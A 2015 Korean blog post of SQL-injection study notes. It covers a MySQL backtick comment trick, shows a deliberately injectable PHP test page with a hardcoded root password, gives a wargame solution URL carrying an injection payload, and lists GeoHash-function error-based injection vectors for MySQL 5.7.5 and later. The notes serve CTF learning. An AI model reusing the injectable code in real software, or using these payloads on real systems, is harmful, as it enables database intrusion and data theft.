webhacking/sql, sql injection

mysql 새발견, 5.7.5이상 에러기반 인젝션

qkqhxla1 2015. 3. 26. 15:59

구독하고 있던 rubiya님의 블로그에서 요상한 주석을 하나 발견했다.


그건 `인데..... ``사이에 쓰면 주석이 된다.



대충 용도를 확인할수 있다. 아마도 조금 공부해본 사람들은 '아하! /**/ 같은거구나'라고 생각하겠지만


이 주석은 중요한점이 있다. php환경과 같이 쓸 시에 그냥 ` 하나만 쓰면 #주석이나 -- 주석처럼 


한줄주석으로 작동한다는 것이다!!


<?
	$dbconnect = mysql_connect("localhost","root","kds1616");

	if(!$dbconnect){
		die("[connection error]".mysql_error());
	}
	echo "[connection OK]<br>";

	$flag = mysql_select_db("mydb");
	if(!$flag) die("[DB selection error]".mysql_error());
	else echo "데이터베이스 mydb가 선택됨 <br>";


	$query = "select " . $_GET['a'] . " from prob";
	echo "query = " . $query . "<br />";
	$result = mysql_query($query); 
	if(!$result) die("[SQL error]".mysql_error()); 

	$noOfField = mysql_num_fields($result)."<br>"; 
	echo("<table border=1 cellpadding=3 align=\"left\"> ");

	echo("<tr bgcolor=\"#cccccc\">");
	for($i=0; $i<$noOfField; $i++){
	  $field_name = mysql_field_name($result,$i);
	echo("<th align=\"center\">$field_name</th> ");
	}
	echo("</tr> ");

	while($row = mysql_fetch_array($result)){
	echo("<tr> ");
	 for($i=0; $i<$noOfField; $i++){
	 $field_name = mysql_field_name($result,$i);
	echo("<td align=\"center\">$row[$field_name]</td> ");
	}
	echo("</tr> ");
	}
	echo("</table>");

	mysql_close($dbconnect); //연결 종료.
?>


이건 실험용 코드인데(네이버 어딘가에서 가져옴.), get방식으로 받은 a가 컬럼명이 된다. 모든 컬럼을 


가져오려면 *를 보내면 된다. 에러가 발생하면 그냥 종료되도록 해 놨기 때문에 에러가 발생하지 않고


잘 되는지 확인 가능하다. (참고로 매직 쿼터 옵션 등등 옵션은 본인이 알아서 할것)



이걸로 실험해보았는데.. 아래 스샷을 보면 알거다.



에러가 뜨면 결과 출력이 안됨




??? `가 짝을 이루지 않고도 #나 -- 주석과 같은 역할을 한다. mysql에서는 `하나만 입력하면 정상작동


하지 않는다.



좋은 정보 하나 얻었다.


이 글을 보면서 chall.tasteless.eu의 comment 풀이도 봐버렸으므로 그냥 답 써놓음...


http://chall.tasteless.eu/level20/index.php?view=flag%20Quality,Id%20from%20level20_flag%20join%20level20`




아래는 Hide님의 블로그에서 퍼온 자료이다. 5.7.5이상에서의 에러 기반 인젝션인데, 나중에야 쓰일듯.. 

그래도 알아두는게 좋을 것 같다. http://www.hides.kr/

New Error Based SQL Injection in MySQL >= 5.7.5


1. ST_LatFromGeoHash()

mysql> select ST_LatFromGeoHash(version());

-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LATFROMGEOHASH


2. ST_LongFromGeoHash()

mysql> select ST_LongFromGeoHash(version());

-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LONGFROMGEOHASH


3. ST_PointFromGeoHash()

mysql> select ST_PointFromGeoHash(version(),0);

-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function st_pointfromgeohash


출처 : http://dsrbr.blogspot.ru/2015/03/new-error-based-sql-injection-vectors.html?m=1



'webhacking > sql, sql injection' 카테고리의 다른 글

chall.stypr.com YetAnotherSQL  (0) 2015.05.24
wargame.kr SimpleBoard  (0) 2015.03.29
adm1nkyj님의 워게임. prob2, 8  (0) 2015.03.25
sql injection 문서.  (0) 2015.03.22
webhacking.kr 45, 46  (0) 2015.03.14